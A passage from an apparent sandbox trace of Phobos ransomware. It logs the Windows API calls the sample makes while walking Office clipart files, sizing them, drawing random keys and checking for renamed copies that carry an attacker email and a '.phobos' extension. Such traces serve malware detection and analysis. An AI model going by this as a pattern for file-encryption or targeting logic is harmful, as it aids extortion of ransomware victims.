dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.551] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.551] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178639.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.552] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=32038) returned 1 [0151.552] CloseHandle (hObject=0x564) returned 1 [0151.552] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178639.jpg")) returned 0x220 [0151.552] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178639.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.552] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178639.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.552] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.552] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178932.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.554] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=35340) returned 1 [0151.554] CloseHandle (hObject=0x564) returned 1 [0151.554] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178932.jpg")) returned 0x220 [0151.554] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178932.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.554] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178932.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.554] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.554] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0179963.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.556] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=32110) returned 1 [0151.556] CloseHandle (hObject=0x564) returned 1 [0151.556] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0179963.jpg")) returned 0x220 [0151.556] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0179963.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.559] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0179963.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.563] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.563] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182689.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182689.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.569] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=16615) returned 1 [0151.569] CloseHandle (hObject=0x564) returned 1 [0151.569] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182689.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182689.jpg")) returned 0x220 [0151.569] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182689.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182689.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.569] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182689.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182689.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.570] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.570] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182888.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.570] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=24392) returned 1 [0151.570] CloseHandle (hObject=0x564) returned 1 [0151.570] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182888.wmf")) returned 0x220 [0151.570] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182888.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.571] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182888.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.571] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.571] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182898.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.580] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=15150) returned 1 [0151.580] CloseHandle (hObject=0x564) returned 1 [0151.580] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182898.wmf")) returned 0x220 [0151.580] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182898.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.581] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182898.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.581] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.581] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182902.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.581] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=7822) returned 1 [0151.581] CloseHandle (hObject=0x564) returned 1 [0151.581] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182902.wmf")) returned 0x220 [0151.581] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182902.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.581] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182902.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.581] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.582] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182946.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182946.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.582] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=16082) returned 1 [0151.582] CloseHandle (hObject=0x564) returned 1 [0151.582] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182946.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182946.wmf")) returned 0x220 [0151.582] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182946.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182946.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.582] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182946.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182946.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.582] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.582] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183172.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.585] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=29788) returned 1 [0151.585] CloseHandle (hObject=0x564) returned 1 [0151.585] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183172.wmf")) returned 0x220 [0151.585] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183172.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.585] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183172.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.585] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.585] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183174.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.587] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=28626) returned 1 [0151.587] CloseHandle (hObject=0x564) returned 1 [0151.587] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183174.wmf")) returned 0x220 [0151.587] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183174.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.587] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183174.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.587] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.587] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183198.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.588] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=24430) returned 1 [0151.588] CloseHandle (hObject=0x564) returned 1 [0151.588] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183198.wmf")) returned 0x220 [0151.588] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183198.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.588] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183198.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.588] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.589] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183574.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183574.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.590] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=19274) returned 1 [0151.590] CloseHandle (hObject=0x564) returned 1 [0151.590] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183574.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183574.wmf")) returned 0x220 [0151.590] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183574.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183574.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.590] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183574.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183574.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.590] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.590] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185670.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.593] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=7304) returned 1 [0151.593] CloseHandle (hObject=0x564) returned 1 [0151.594] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185670.wmf")) returned 0x220 [0151.594] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185670.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.594] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185670.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.594] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.594] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185774.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.594] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=20038) returned 1 [0151.594] CloseHandle (hObject=0x564) returned 1 [0151.595] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185774.wmf")) returned 0x220 [0151.595] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185774.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.595] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185774.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.595] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.595] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185776.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.595] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=27096) returned 1 [0151.595] CloseHandle (hObject=0x564) returned 1 [0151.595] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185776.wmf")) returned 0x220 [0151.596] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185776.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.596] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185776.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.596] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.596] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185778.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185778.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.596] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=25312) returned 1 [0151.596] CloseHandle (hObject=0x564) returned 1 [0151.596] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185778.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185778.wmf")) returned 0x220 [0151.596] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185778.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185778.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.596] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185778.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185778.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.597] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.597] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185780.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.598] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=59734) returned 1 [0151.598] CloseHandle (hObject=0x564) returned 1 [0151.599] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185780.wmf")) returned 0x220 [0151.599] 